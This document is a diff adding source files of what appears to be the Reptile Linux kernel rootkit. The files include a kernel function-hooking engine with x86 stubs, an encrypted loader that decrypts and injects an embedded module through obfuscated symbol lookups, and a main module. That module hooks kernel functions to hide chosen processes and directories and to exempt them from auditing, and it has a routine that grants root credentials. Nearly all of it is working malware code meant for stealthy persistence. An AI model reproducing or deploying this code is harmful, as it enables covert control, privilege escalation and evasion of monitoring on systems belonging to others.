|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline unsigned long ksym_lookup_name(const char *name)
|
||||
{
|
||||
unsigned long data[2] = {(unsigned long)name, 0};
|
||||
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
|
||||
return data[1];
|
||||
}
|
||||
|
||||
#ifdef CONFIG_GIVE_ROOT
|
||||
static inline void get_root(void)
|
||||
{
|
||||
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
|
||||
current->uid = 0;
|
||||
current->suid = 0;
|
||||
current->euid = 0;
|
||||
current->gid = 0;
|
||||
current->egid = 0;
|
||||
current->fsuid = 0;
|
||||
current->fsgid = 0;
|
||||
cap_set_full(current->cap_effective);
|
||||
cap_set_full(current->cap_inheritable);
|
||||
cap_set_full(current->cap_permitted);
|
||||
#else
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
#endif
|
||||
}
|
||||
#endif
|
||||
|
||||
extern int hidden;
|
||||
|
||||
static inline void flip_hidden_flag(void)
|
||||
{
|
||||
if (hidden)
|
||||
hidden = 0;
|
||||
else
|
||||
hidden = 1;
|
||||
}
|
||||
|
||||
int util_init(void);
|
||||
int get_cmdline(struct task_struct *task, char *buffer, int buflen);
|
||||
//int run_cmd(const char *cmd);
|
@ -0,0 +1,153 @@
|
||||
#include "internal.h"
|
||||
|
||||
static khook_stub_t *khook_stub_tbl = NULL;
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
|
||||
{
|
||||
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
|
||||
if (!name[i++]) return !!(data[1] = addr);
|
||||
} return 0;
|
||||
}
|
||||
|
||||
static void *khook_lookup_name(const char *name)
|
||||
{
|
||||
long data[2] = { (long)name, 0 };
|
||||
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
|
||||
return (void *)data[1];
|
||||
}
|
||||
|
||||
static void *khook_map_writable(void *addr, size_t len)
|
||||
{
|
||||
struct page *pages[2] = { 0 }; // len << PAGE_SIZE
|
||||
long page_offset = offset_in_page(addr);
|
||||
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
|
||||
|
||||
addr = (void *)((long)addr & PAGE_MASK);
|
||||
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
|
||||
if ((pages[i] = is_vmalloc_addr(addr) ?
|
||||
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL);
|
||||
return addr ? addr + page_offset : NULL;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifdef CONFIG_X86
|
||||
# include "x86/hook.c"
|
||||
#else
|
||||
# error Target CPU architecture is NOT supported !!!
|
||||
#endif
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
static void khook_wakeup(void)
|
||||
{
|
||||
struct task_struct *p;
|
||||
rcu_read_lock();
|
||||
for_each_process(p) {
|
||||
wake_up_process(p);
|
||||
}
|
||||
rcu_read_unlock();
|
||||
}
|
||||
|
||||
static int khook_sm_init_hooks(void *arg)
|
||||
{
|
||||
khook_t *p;
|
||||
KHOOK_FOREACH_HOOK(p) {
|
||||
if (!p->target.addr_map) continue;
|
||||
khook_arch_sm_init_one(p);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int khook_sm_cleanup_hooks(void *arg)
|
||||
{
|
||||
khook_t *p;
|
||||
KHOOK_FOREACH_HOOK(p) {
|
||||
if (!p->target.addr_map) continue;
|
||||
khook_arch_sm_cleanup_one(p);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void khook_resolve(void)
|
||||
{
|
||||
khook_t *p;
|
||||
KHOOK_FOREACH_HOOK(p) {
|
||||
p->target.addr = khook_lookup_name(p->target.name);
|
||||
}
|
||||
}
|
||||
|
||||
static void khook_map(void)
|
||||
{
|
||||
khook_t *p;
|
||||
KHOOK_FOREACH_HOOK(p) {
|
||||
if (!p->target.addr) continue;
|
||||
p->target.addr_map = khook_map_writable(p->target.addr, 32);
|
||||
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
|
||||
}
|
||||
}
|
||||
|
||||
static void khook_unmap(int wait)
|
||||
{
|
||||
khook_t *p;
|
||||
KHOOK_FOREACH_HOOK(p) {
|
||||
khook_stub_t *stub = KHOOK_STUB(p);
|
||||
if (!p->target.addr_map) continue;
|
||||
while (wait && atomic_read(&stub->use_count) > 0) {
|
||||
khook_wakeup();
|
||||
msleep_interruptible(1000);
|
||||
khook_debug("waiting for %s...\n", p->target.name);
|
||||
}
|
||||
vunmap((void *)((long)p->target.addr_map & PAGE_MASK));
|
||||
p->target.addr_map = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int khook_init(void)
|
||||
{
|
||||
void *(*malloc)(long size) = NULL;
|
||||
int (*set_memory_x)(unsigned long, int) = NULL;
|
||||
|
||||
malloc = khook_lookup_name("module_alloc");
|
||||
if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
|
||||
|
||||
khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
|
||||
if (!khook_stub_tbl) return -ENOMEM;
|
||||
memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
|
||||
|
||||
//
|
||||
// Since some point memory allocated by module_alloc() doesn't
|
||||
// have eXecutable attributes. That's why we have to mark the
|
||||
// region executable explicitly.
|
||||
//
|
||||
|
||||
set_memory_x = khook_lookup_name("set_memory_x");
|
||||
if (set_memory_x) {
|
||||
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
|
||||
set_memory_x((unsigned long)khook_stub_tbl, numpages);
|
||||
}
|
||||
|
||||
khook_resolve();
|
||||
|
||||
khook_map();
|
||||
stop_machine(khook_sm_init_hooks, NULL, NULL);
|
||||
khook_unmap(0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void khook_cleanup(void)
|
||||
{
|
||||
khook_map();
|
||||
stop_machine(khook_sm_cleanup_hooks, NULL, NULL);
|
||||
khook_unmap(1);
|
||||
vfree(khook_stub_tbl);
|
||||
}
|
@ -0,0 +1,46 @@
|
||||
#pragma once
|
||||
|
||||
#include <linux/kernel.h>
|
||||
|
||||
#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count
|
||||
|
||||
typedef struct {
|
||||
void *fn; // handler fn address
|
||||
struct {
|
||||
const char *name; // target symbol name
|
||||
char *addr; // target symbol addr (see khook_lookup_name)
|
||||
char *addr_map; // writable mapping of target symbol
|
||||
} target;
|
||||
void *orig; // original fn call wrapper
|
||||
unsigned long flags; // hook engine options (flags)
|
||||
} khook_t;
|
||||
|
||||
#define KHOOK_(t, f) \
|
||||
static inline typeof(t) khook_##t; /* forward decl */ \
|
||||
khook_t \
|
||||
__attribute__((unused)) \
|
||||
__attribute__((aligned(1))) \
|
||||
__attribute__((section(".data.khook"))) \
|
||||
KHOOK_##t = { \
|
||||
.fn = khook_##t, \
|
||||
.target.name = #t, \
|
||||
.flags = f, \
|
||||
}
|
||||
|
||||
#define KHOOK(t) \
|
||||
KHOOK_(t, 0)
|
||||
#define KHOOK_EXT(r, t, ...) \
|
||||
extern r t(__VA_ARGS__); \
|
||||
KHOOK_(t, 0)
|
||||
|
||||
#define KHOOK_NOREF(t) \
|
||||
KHOOK_(t, KHOOK_F_NOREF)
|
||||
#define KHOOK_NOREF_EXT(r, t, ...) \
|
||||
extern r t(__VA_ARGS__); \
|
||||
KHOOK_(t, KHOOK_F_NOREF)
|
||||
|
||||
#define KHOOK_ORIGIN(t, ...) \
|
||||
((typeof(t) *)KHOOK_##t.orig)(__VA_ARGS__)
|
||||
|
||||
extern int khook_init(void);
|
||||
extern void khook_cleanup(void);
|
@ -0,0 +1,8 @@
|
||||
SECTIONS
|
||||
{
|
||||
.data : {
|
||||
KHOOK_tbl = . ;
|
||||
*(.data.khook)
|
||||
KHOOK_tbl_end = . ;
|
||||
}
|
||||
}
|
@ -0,0 +1,60 @@
|
||||
#pragma once
|
||||
|
||||
#include <linux/mm.h>
|
||||
#include <linux/vmalloc.h>
|
||||
#include <linux/kallsyms.h>
|
||||
#include <linux/stop_machine.h>
|
||||
#include <linux/delay.h>
|
||||
#include <linux/version.h>
|
||||
#include <linux/sched.h>
|
||||
|
||||
#ifndef for_each_process
|
||||
# include <linux/sched/signal.h>
|
||||
#endif
|
||||
|
||||
#include "engine.h"
|
||||
|
||||
extern khook_t KHOOK_tbl[];
|
||||
extern khook_t KHOOK_tbl_end[];
|
||||
|
||||
#define KHOOK_FOREACH_HOOK(p) \
|
||||
for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
|
||||
|
||||
typedef struct {
|
||||
#pragma pack(push, 1)
|
||||
union {
|
||||
unsigned char _0x00_[ 0x10 ];
|
||||
atomic_t use_count;
|
||||
};
|
||||
union {
|
||||
unsigned char _0x10_[ 0x20 ];
|
||||
unsigned char orig[0];
|
||||
};
|
||||
union {
|
||||
unsigned char _0x30_[ 0x80 ];
|
||||
unsigned char hook[0];
|
||||
};
|
||||
#pragma pack(pop)
|
||||
unsigned nbytes;
|
||||
} __attribute__((aligned(32))) khook_stub_t;
|
||||
|
||||
static khook_stub_t *khook_stub_tbl;
|
||||
|
||||
#define KHOOK_STUB(h) \
|
||||
(khook_stub_tbl + ((h) - KHOOK_tbl))
|
||||
|
||||
#define KHOOK_STUB_TBL_SIZE \
|
||||
(sizeof(khook_stub_t) * (KHOOK_tbl_end - KHOOK_tbl + 1))
|
||||
|
||||
#if BITS_PER_LONG == 64
|
||||
# define KHOOK_STUB_FILE_NAME "stub.inc"
|
||||
#else
|
||||
# define KHOOK_STUB_FILE_NAME "stub32.inc"
|
||||
#endif
|
||||
|
||||
#ifdef DEBUG
|
||||
# define khook_debug(fmt, ...) \
|
||||
pr_debug("[khook] " fmt, ##__VA_ARGS__)
|
||||
#else
|
||||
# define khook_debug(fmt, ...)
|
||||
#endif
|
@ -0,0 +1,12 @@
|
||||
STUB = stub.S
|
||||
|
||||
stub: FORCE
|
||||
gcc $(CFLAGS) -nostdlib -Wl,-e0 $(STUB) -o stub
|
||||
objcopy --dump-section .text=/dev/stdout stub | xxd -i - >stub.inc
|
||||
gcc $(CFLAGS) -m32 -nostdlib -Wl,-e0 $(STUB) -o stub32
|
||||
objcopy --dump-section .text=/dev/stdout stub32 | xxd -i - >stub32.inc
|
||||
|
||||
clean:
|
||||
rm -f stub *.inc
|
||||
|
||||
FORCE:
|
@ -0,0 +1 @@
|
||||
KHOOK x86 stub generator, use `make` to (re)-generate.
|
@ -0,0 +1,83 @@
|
||||
#include "../internal.h"
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
// IN-kernel length disassembler engine (x86 only, 2.6.33+)
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <asm/insn.h>
|
||||
|
||||
static struct {
|
||||
typeof(insn_init) *init;
|
||||
typeof(insn_get_length) *get_length;
|
||||
} khook_arch_lde;
|
||||
|
||||
static inline int khook_arch_lde_init(void) {
|
||||
khook_arch_lde.init = khook_lookup_name("insn_init");
|
||||
if (!khook_arch_lde.init) return -EINVAL;
|
||||
khook_arch_lde.get_length = khook_lookup_name("insn_get_length");
|
||||
if (!khook_arch_lde.get_length) return -EINVAL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline int khook_arch_lde_get_length(const void *p) {
|
||||
struct insn insn;
|
||||
int x86_64 = 0;
|
||||
#ifdef CONFIG_X86_64
|
||||
x86_64 = 1;
|
||||
#endif
|
||||
#if defined MAX_INSN_SIZE && (MAX_INSN_SIZE == 15) /* 3.19.7+ */
|
||||
khook_arch_lde.init(&insn, p, MAX_INSN_SIZE, x86_64);
|
||||
#else
|
||||
khook_arch_lde.init(&insn, p, x86_64);
|
||||
#endif
|
||||
khook_arch_lde.get_length(&insn);
|
||||
return insn.length;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// place a jump at addr @a from addr @f to addr @t
|
||||
static inline void x86_put_jmp(void *a, void *f, void *t)
|
||||
{
|
||||
*((char *)(a + 0)) = 0xE9;
|
||||
*(( int *)(a + 1)) = (long)(t - (f + 5));
|
||||
}
|
||||
|
||||
static const char khook_stub_template[] = {
|
||||
# include KHOOK_STUB_FILE_NAME
|
||||
};
|
||||
|
||||
static inline void stub_fixup(void *stub, const void *value) {
|
||||
while (*(int *)stub != 0xcacacaca) stub++;
|
||||
*(long *)stub = (long)value;
|
||||
}
|
||||
|
||||
static inline void khook_arch_sm_init_one(khook_t *hook) {
|
||||
khook_stub_t *stub = KHOOK_STUB(hook);
|
||||
if (hook->target.addr[0] == (char)0xE9 ||
|
||||
hook->target.addr[0] == (char)0xCC) return;
|
||||
|
||||
BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
|
||||
memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
|
||||
stub_fixup(stub->hook, hook->fn);
|
||||
|
||||
while (stub->nbytes < 5)
|
||||
stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
|
||||
|
||||
memcpy(stub->orig, hook->target.addr, stub->nbytes);
|
||||
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
|
||||
if (hook->flags & KHOOK_F_NOREF) {
|
||||
x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
|
||||
} else {
|
||||
x86_put_jmp(hook->target.addr_map, hook->target.addr, stub->hook);
|
||||
}
|
||||
hook->orig = stub->orig; // the only link from hook to stub
|
||||
}
|
||||
|
||||
static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
|
||||
khook_stub_t *stub = KHOOK_STUB(hook);
|
||||
memcpy(hook->target.addr_map, stub->orig, stub->nbytes);
|
||||
}
|
||||
|
||||
#define KHOOK_ARCH_INIT(...) \
|
||||
(khook_arch_lde_init())
|
@ -0,0 +1,56 @@
|
||||
#
|
||||
# KHOOK STUB layout
|
||||
# -----------------
|
||||
# 0x00: atomic_t = (0)
|
||||
# 0x10: orig function call wrapper
|
||||
# 0x30: hook function call wrapper
|
||||
#
|
||||
|
||||
KHOOK_STUB_atomic_use_count:
|
||||
.rept 16
|
||||
.byte 0x00
|
||||
.endr
|
||||
|
||||
KHOOK_STUB_orig:
|
||||
.rept 32
|
||||
.byte 0x00
|
||||
.endr
|
||||
|
||||
#
|
||||
# Hooking of function with more than N arguments requires us to
|
||||
# make a local copy of all arguments starting from N as they are
|
||||
# passed through the stack as per the ABI.
|
||||
#
|
||||
# TODO: x86-32 implementation of CALL_COPY_N_ARGS macro
|
||||
#
|
||||
|
||||
#ifdef __x86_64__
|
||||
.macro CALL_COPY_N_ARGS n
|
||||
sub $(\n * 8), %rsp
|
||||
.set i, 0
|
||||
.rept \n
|
||||
mov ((\n + i + 1) * 8)(%rsp), %rax
|
||||
mov %rax, (i * 8)(%rsp)
|
||||
.set i, i + 1
|
||||
.endr
|
||||
movabs $0xcacacacacacacaca, %rax
|
||||
call *%rax
|
||||
add $(\n * 8), %rsp
|
||||
.endm
|
||||
KHOOK_STUB_hook:
|
||||
lock incl KHOOK_STUB_atomic_use_count(%rip)
|
||||
CALL_COPY_N_ARGS 8
|
||||
lock decl KHOOK_STUB_atomic_use_count(%rip)
|
||||
ret
|
||||
#else
|
||||
KHOOK_STUB_hook:
|
||||
call 1f
|
||||
1: pop %eax
|
||||
lock incl -(1b - KHOOK_STUB_atomic_use_count)(%eax)
|
||||
mov $0xcacacaca, %eax
|
||||
call *%eax
|
||||
call 1f
|
||||
1: pop %ecx
|
||||
lock decl -(1b - KHOOK_STUB_atomic_use_count)(%ecx)
|
||||
ret
|
||||
#endif
|
@ -0,0 +1,14 @@
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xf0, 0xff, 0x05, 0xc9, 0xff, 0xff, 0xff, 0x48, 0x83, 0xec, 0x40, 0x48,
|
||||
0x8b, 0x44, 0x24, 0x48, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x44, 0x24,
|
||||
0x50, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0x8b, 0x44, 0x24, 0x58, 0x48,
|
||||
0x89, 0x44, 0x24, 0x10, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x89, 0x44,
|
||||
0x24, 0x18, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x20,
|
||||
0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b,
|
||||
0x44, 0x24, 0x78, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24,
|
||||
0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0xb8, 0xca,
|
||||
0xca, 0xca, 0xca, 0xca, 0xca, 0xca, 0xca, 0xff, 0xd0, 0x48, 0x83, 0xc4,
|
||||
0x40, 0xf0, 0xff, 0x0d, 0x5c, 0xff, 0xff, 0xff, 0xc3
|
@ -0,0 +1,7 @@
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0xf0, 0xff, 0x40, 0xcb, 0xb8, 0xca,
|
||||
0xca, 0xca, 0xca, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x59, 0xf0,
|
||||
0xff, 0x49, 0xba, 0xc3
|
@ -0,0 +1,11 @@
|
||||
TARGET ?= reptile
|
||||
|
||||
obj-m += $(TARGET).o
|
||||
$(TARGET)-y += kmatryoshka.o
|
||||
|
||||
ccflags-y += -I$(src)/../include
|
||||
ccflags-y += -I$(src)/../../output
|
||||
ccflags-y += $(CFLAGS) -Os -fomit-frame-pointer -fno-stack-protector
|
||||
|
||||
KBUILD_CFLAGS := $(subst -pg,,$(KBUILD_CFLAGS))
|
||||
KBUILD_CFLAGS := $(subst -mfentry,,$(KBUILD_CFLAGS))
|
@ -0,0 +1,84 @@
|
||||
#include <linux/kallsyms.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/module.h>
|
||||
#include <linux/uaccess.h>
|
||||
|
||||
#ifndef user_addr_max
|
||||
#define user_addr_max() (current_thread_info()->addr_limit.seg)
|
||||
#endif
|
||||
|
||||
#include "encrypt.h"
|
||||
|
||||
#define SYS_INIT_MODULE \
|
||||
({ \
|
||||
unsigned int *p = __builtin_alloca(16); \
|
||||
p[0] = 0x5f737973; \
|
||||
p[1] = 0x74696e69; \
|
||||
p[2] = 0x646f6d5f; \
|
||||
p[3] = 0x00656c75; \
|
||||
(char *)p; \
|
||||
})
|
||||
|
||||
#define __DO_SYS_INIT_MODULE \
|
||||
({ \
|
||||
unsigned int *p = __builtin_alloca(24); \
|
||||
p[0] = 0x6f645f5f; \
|
||||
p[1] = 0x7379735f; \
|
||||
p[2] = 0x696e695f; \
|
||||
p[3] = 0x6f6d5f74; \
|
||||
p[4] = 0x656c7564; \
|
||||
p[5] = 0x00000000; \
|
||||
(char *)p; \
|
||||
})
|
||||
|
||||
static char parasite_blob[] = {
|
||||
#include "parasite_blob.inc"
|
||||
};
|
||||
|
||||
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
|
||||
unsigned long addr)
|
||||
{
|
||||
int i = 0;
|
||||
while (!module && (((const char *)data[0]))[i] == name[i]) {
|
||||
if (!name[i++])
|
||||
return !!(data[1] = addr);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline unsigned long ksym_lookup_name(const char *name)
|
||||
{
|
||||
unsigned long data[2] = {(unsigned long)name, 0};
|
||||
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
|
||||
return data[1];
|
||||
}
|
||||
|
||||
int init_module(void)
|
||||
{
|
||||
int ret = -EINVAL;
|
||||
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
|
||||
|
||||
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
|
||||
|
||||
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
|
||||
|
||||
if (!sys_init_module)
|
||||
sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
|
||||
|
||||
if (sys_init_module) {
|
||||
const char *nullarg = parasite_blob;
|
||||
unsigned long seg = user_addr_max();
|
||||
|
||||
while (*nullarg)
|
||||
nullarg++;
|
||||
|
||||
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
|
||||
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
|
||||
user_addr_max() = seg;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
MODULE_LICENSE("GPL");
|
||||
MODULE_INFO(intree, "Y");
|
@ -0,0 +1,37 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "encrypt.h"
|
||||
|
||||
static char reptile_blob[] = {
|
||||
#include "reptile.ko.inc"
|
||||
};
|
||||
|
||||
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret = EXIT_FAILURE;
|
||||
size_t len;
|
||||
void *module_image;
|
||||
|
||||
len = sizeof(reptile_blob);
|
||||
do_decrypt(reptile_blob, len, DECRYPT_KEY);
|
||||
module_image = malloc(len);
|
||||
memcpy(module_image, reptile_blob, len);
|
||||
init_module(module_image, len, "");
|
||||
|
||||
if (errno == 37)
|
||||
ret = EXIT_SUCCESS;
|
||||
|
||||
free(module_image);
|
||||
return ret;
|
||||
}
|
@ -0,0 +1,482 @@
|
||||
#include <linux/module.h>
|
||||
#include <linux/version.h>
|
||||
|
||||
#include "khook/engine.c"
|
||||
#include "config.h"
|
||||
#include "util.h"
|
||||
|
||||
#ifdef CONFIG_AUTO_HIDE
|
||||
# include "module.h"
|
||||
#endif
|
||||
|
||||
int hidden = 1;
|
||||
|
||||
/* ------------------------ HIDE PROCESS ------------------------- */
|
||||
|
||||
#ifdef CONFIG_HIDE_PROC
|
||||
|
||||
#include <linux/audit.h>
|
||||
#include "proc.h"
|
||||
|
||||
KHOOK(copy_creds);
|
||||
static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
|
||||
{
|
||||
int ret = 0;
|
||||
|
||||
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags);
|
||||
if (!ret && is_task_invisible(current))
|
||||
p->flags |= FLAG;
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
KHOOK(exit_creds);
|
||||
static void khook_exit_creds(struct task_struct *p)
|
||||
{
|
||||
KHOOK_ORIGIN(exit_creds, p);
|
||||
if (is_task_invisible(p))
|
||||
p->flags &= ~FLAG;
|
||||
}
|
||||
|
||||
KHOOK(audit_alloc);
|
||||
static int khook_audit_alloc(struct task_struct *t)
|
||||
{
|
||||
int err = 0;
|
||||
|
||||
if (is_task_invisible(t)) {
|
||||
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT);
|
||||
} else {
|
||||
err = KHOOK_ORIGIN(audit_alloc, t);
|
||||
}
|
||||
return err;
|
||||
}
|
||||
|
||||
KHOOK(find_task_by_vpid);
|
||||
struct task_struct *khook_find_task_by_vpid(pid_t vnr)
|
||||
{
|
||||
struct task_struct *tsk = NULL;
|
||||
|
||||
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr);
|
||||
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current))
|
||||
tsk = NULL;
|
||||
|
||||
return tsk;
|
||||
}
|
||||
|
||||
KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32);
|
||||
static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat,
|
||||
u32 request_mask)
|
||||
{
|
||||
if (is_proc_invisible_2(filename))
|
||||
return -EINVAL;
|
||||
|
||||
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask);
|
||||
}
|
||||
|
||||
KHOOK_EXT(long, sys_kill, long, long);
|
||||
static long khook_sys_kill(long pid, long sig) {
|
||||
if (sig == 0) {
|
||||
if (is_proc_invisible(pid)) {
|
||||
return -ESRCH;
|
||||
}
|
||||
}
|
||||
|
||||
return KHOOK_ORIGIN(sys_kill, pid, sig);
|
||||
}
|
||||
|
||||
KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *);
|
||||
static long khook___x64_sys_kill(const struct pt_regs *regs) {
|
||||
if (regs->si == 0) {
|
||||
if (is_proc_invisible(regs->di)) {
|
||||
return -ESRCH;
|
||||
}
|
||||
}
|
||||
|
||||
return KHOOK_ORIGIN(__x64_sys_kill, regs);
|
||||
}
|
||||
|
||||
KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
|
||||
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
|
||||
{
|
||||
if (hidden) {
|
||||
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
|
||||
if (!(iter.task->flags & FLAG))
|
||||
break;
|
||||
|
||||
iter.tgid++;
|
||||
}
|
||||
} else {
|
||||
iter = KHOOK_ORIGIN(next_tgid, ns, iter);
|
||||
}
|
||||
return iter;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------- HIDE DIR --------------------------- */
|
||||
|
||||
#ifdef CONFIG_HIDE_DIR
|
||||
|
||||
#include <linux/dcache.h>
|
||||
#include "dir.h"
|
||||
|
||||
/* Can you see a little problem on those hooks? This is not the best
|
||||
* way to do this feature, but I am going to keep it this way, after all,
|
||||
* this is just a public project, isn't it?
|
||||
*/
|
||||
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
|
||||
static int khook_fillonedir(void *__buf, const char *name, int namlen,
|
||||
loff_t offset, u64 ino, unsigned int d_type)
|
||||
{
|
||||
int ret = -ENOENT;
|
||||
if (!strstr(name, HIDE) || !hidden)
|
||||
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
|
||||
return ret;
|
||||
}
|
||||
|
||||
KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
|
||||
static int khook_filldir(void *__buf, const char *name, int namlen,
|
||||
loff_t offset, u64 ino, unsigned int d_type)
|
||||
{
|
||||
int ret = -ENOENT;
|
||||
if (!strstr(name, HIDE) || !hidden)
|
||||
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
|
||||
return ret;
|
||||
}
|
||||
|
||||
KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
|
||||
static int khook_filldir64(void *__buf, const char *name, int namlen,
|
||||
loff_t offset, u64 ino, unsigned int d_type)
|
||||
{
|
||||
int ret = -ENOENT;
|
||||
if (!strstr(name, HIDE) || !hidden)
|
||||
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
|
||||
return ret;
|
||||
}
|
||||
|
||||
KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
|
||||
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
|
||||
loff_t offset, u64 ino, unsigned int d_type)
|
||||
{
|
||||
int ret = -ENOENT;
|
||||
if (!strstr(name, HIDE) || !hidden)
|
||||
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
|
||||
return ret;
|
||||
}
|
||||
|
||||
KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
|
||||
static int khook_compat_filldir(void *__buf, const char *name, int namlen,
|
||||
loff_t offset, u64 ino, unsigned int d_type)
|
||||
{
|
||||
int ret = -ENOENT;
|
||||
if (!strstr(name, HIDE) || !hidden)
|
||||
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
|
||||
return ret;
|
||||
}
|
||||
|
||||
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
|
||||
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
|
||||
